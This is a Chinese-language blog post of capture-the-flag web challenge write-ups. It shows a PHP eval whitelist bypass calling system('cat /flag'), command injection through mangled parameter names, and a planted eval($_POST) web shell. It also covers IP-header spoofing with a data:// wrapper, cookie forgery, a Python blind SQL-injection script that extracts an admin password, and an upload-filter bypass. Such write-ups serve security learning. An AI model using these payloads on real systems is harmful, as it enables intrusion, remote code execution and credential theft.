【无标题】

发布于:2025-02-10 ⋅ 阅读:(31) ⋅ 点赞:(0)

[CISCN 2019初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');

get传参,参数是c,尝试c可不可以进行命令执行

?c=99-65

然后存在白名单和黑名单的过滤。

在php中有一个特性是可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数

例如:

$a='system';
$a('cat /flag');

通过传递变量后,就会调用system函数,system('cat /flag');

构造payload:?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

它通过get传参变量a和b,然后就是:system('cat /flag');

但是有白名单的限制

所以改成:?c=($_GET[abs])($_GET[cos])&abs=system&cos=cat /flag

但是发现_GET没有办法进行替换,符号[]也被过滤

这里的_GET是ASCII 字符,hex2bin() 函数可以把十六进制值的字符串转换为 ASCII 字符。

用工具将_GET转换成16进制。

16进制就是5f 47 45 54;

又有hex2bin函数,所以hex2bin(5f 47 45 54)就是_GET;

但是白名单里面也没有该hex2bin函数,还需要进行转换;

这里的hex2bin()函数可以通过base_convert()函数来进行转换;

base_convert()函数能够在任意进制之间转换数字。

这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54

dechex() 函数把十进制数转换为十六进制数。

要用dechex()函数将10进制数转换为16进制的数

dechex(1598506324),1598506324转换为16进制就是5f 47 45 54

所以

$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){abs}(($$abs){cos})&abs=system&cos=cat /flag

base_convert(37907361743,10,36)是hex2bin;(dechex(1598506324))是(5f 47 45 54)

所以就是hex2bin(5f 47 45 54),就是_GET

构造payload:?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){abs}(($$abs){cos})&abs=system&cos=cat /flag

但是说太长了,再去仔细看代码

要小于80

看见pi两个字符的

把abs替换成pi

所以最后的payload是:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

[SWPUCTF 2023 秋季新生赛]Pingpingping

分析代码可以发现,检查是否存在参数Ping_ip.exe,如果存在就会执行system函数,那么就可以在执行ping后继续执行我们后面的命令,构造

?Ping_ip.exe=127.0.0.1;ls

结果是返回了error.png,说明我们并没有传入参数,猜测可能符号被进行了转义,这涉及到一个php的特性,PHP中我们变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

所以转义后所传入的参数就是Ping_ip_exe,那么我们就可以把_变成[,这样构造

Ping[ip.exe,传入后就会转义为Ping_ip.exe

所以构造payload:?Ping[ip.exe=127.0.0.1;ls

可以看到确实存在命令执行,直接cat /flag就可以

但是他都没有任何过滤,还可以命令执行,不如写个一句话木马玩玩

构造:

?Ping[ip.exe=127.0.0.1;echo '<?php @eval($_POST["cmd"]); ?>' > shell.php

然后再访问

蚁剑连接

         

[MRCTF2020]套娃   

一个简单的页面 ,查看源代码

                                                                                                

可以看到高亮显示的php代码,

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

过滤了下划线_和%5f,而且需要get传参b_u_p_t,参数需要匹配23333字符串,而且不能够和23333字符串数值不相等,类型不相同,这里就需要用到%0a

%0a是换行符,在解码后是\n

然后就是_和%5f的绕过

这里涉及到$_SERVER函数的用法

$_SERVER 是一个超全局变量,在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组,包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键(key)和它们的含义:

1、$_SERVER['PHP_SELF']:
    当前执行脚本的文件名,相对于网站根目录。
2、$_SERVER['SERVER_NAME']:
    当前运行脚本所在服务器主机的名字。
3、$_SERVER['HTTP_HOST']:
    当前请求的 Host 头部的内容,用于指定服务器的域名。
4、$_SERVER['REQUEST_METHOD']:
    当前请求的 HTTP 方法(例如 GET、POST、HEAD、PUT 等)。
5、$_SERVER['QUERY_STRING']:
    查询字符串(如果有的话),例如 id=10&page=2 中的 id=10&page=2 部分。
6、$_SERVER['REMOTE_ADDR']:
    客户端的 IP 地址。
7、$_SERVER['HTTP_USER_AGENT']:
    发出请求的用户代理的字符串(浏览器等客户端信息)。
8、$_SERVER['REQUEST_URI']:
    URI 的完整请求路径,包括查询字符串。
9、$_SERVER['SCRIPT_FILENAME']:
    当前执行脚本的绝对路径。
10、$_SERVER['SCRIPT_NAME']:
    当前执行脚本的路径。
11、$_SERVER['HTTPS']:
    如果是通过 HTTPS 连接,则为 'on',否则为空。
12、$_SERVER['SERVER_PORT']:
    服务器端口号(默认为 80)。
例子
http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI']  = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

由此可知$_SERVER['QUERY_STRING'] 所取的是?后面的内容

这里不能够传入_和%5f,可以使用空格来进行绕过,空格可以是+。+会被解码成空格

传入b+u+p+t时,解码后就是b u p t,

所以构造payload: ?b+u+p+t=23333%0a

secrettw.php访问

翻译下来的意思就是 需要本地IP才能够访问

然后源代码有很多的编码,把它复制到控制台执行

然后给了一个提示,需要POST传入Merak

构造:Merak=123

又跳出来代码

Flag is here~But how to get it? <?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

包含两个文件takeip.php和flag.php,然后限制了访问范围

当POST传参Merak时就会高亮显示源代码,change函数接收一个参数,对其进行Base64解码后,按照特定规则对每个字符进行位移操作,生成新的字符串。检查访问者的IP地址,如果不是 127.0.0.1,则拒绝访问并输出提示。

  • 只有当IP地址是 127.0.0.1 且查询参数 2333 对应的文件内容是 'todat is a happy day' 时,才会执行。
  • 使用 change 函数解码 $_GET['file'] 的内容,并读取相应的文件内容输出。

本地IP伪造:
Client-Ip:127.0.0.1

2333文件中的内容需要为:‘todat is a happy day’,可以使用data伪协议
?2333=data://text/plain,todat+is+a+happy+day

然后就是file的值,需要是flag.php就会读取flag,那么怎么构造呢

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
} 

这个是传入后经过的代码,那么我们就需要把这个代码反过来写,反过来执行

<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
    $re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;

?>

最后的脚本

执行后

ZmpdYSZmXGI=

所以最后的payload就是:

?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=

 [watevrCTF-2019]Cookie Store

看题目名称就知道是cookie伪造,但要怎么伪造需要我们去发现

可以发现有三个价位可以购买,然后如果买flag.php的cookie是需要100,明显是不够的

抓包后发现

这个是1块价格的抓包

然后是100块价格的抓包,id值不同,所返回的cookie也不同

session=eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19

session=eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

解码

那么就很简单了,逻辑漏洞加cookie伪造,把48改成比100大的值,base64编码后伪造cookie

解码:

[CISCN2019 总决赛 Day2 Web1]Easyweb

一个登录界面,其他没有任何信息,进行目录扫描

robots.txt 访问

.bak文件,猜测是源代码

image.php显示的是一张图片,而且存在查询id

尝试访问image.php.bak

 id进行了SQL查询,存在SQL注入

?id=\\0&path= or 1=1 %23进行了绕过

但是没有回显,这里就采用二分法的SQL注入

import  requests
 
 
url = "http://16094b8b-8e2c-421b-b169-415ad3f98106.node5.buuoj.cn:81//image.php?id=\\0&path="
#payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
    l = 1
    r = 130
    mid = (l + r)>>1
    while(l<r):
        payloads = payload.format(i,mid)
        print(url+payloads)
        html = requests.get(url+payloads)
        if "JFIF" in html.text:
            l = mid +1
        else:
            r = mid
        mid = (l + r)>>1
    result+=chr(mid)
    print(result)

代码分析:

  • 目标 URLhttp://16094b8b-8e2c-421b-b169-415ad3f98106.node5.buuoj.cn:81/image.php?id=?id=\\0&path=
    • 这个 URL 包含了潜在的 SQL 注入点 id 参数,并且通过 path 来拼接 payload。
  • SQL 注入 Payload
    • payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
    • 这个 payload 的作用是通过查询 users 表中的密码字段,并用二分查找方法逐字猜测密码。通过 ascii()substr(),它逐个字符地检查密码的每个字节是否大于一个猜测的值 {1}
  • 二分查找算法
    • 通过设置 l = 1r = 130 来猜测 ASCII 值范围(最大字符的 ASCII 值为 127,但为了安全起见,选择了 130)。每次通过调整 lr,根据服务器响应来决定是增加猜测值还是减少猜测值,最终确定密码的每个字符。
  • 输出结果
    • 将每个密码字符添加到 result 变量中,最终形成密码。

 

爆出密码

b57bcfa9a5b3df28f439

用户admin

登陆成功,一个文件上传页面

 不能上传php,同时文件中也不能够有php

传入其他后缀时

但是会发现解析不了,用短文件名绕过上传

直接连接就可以,根目录找到flag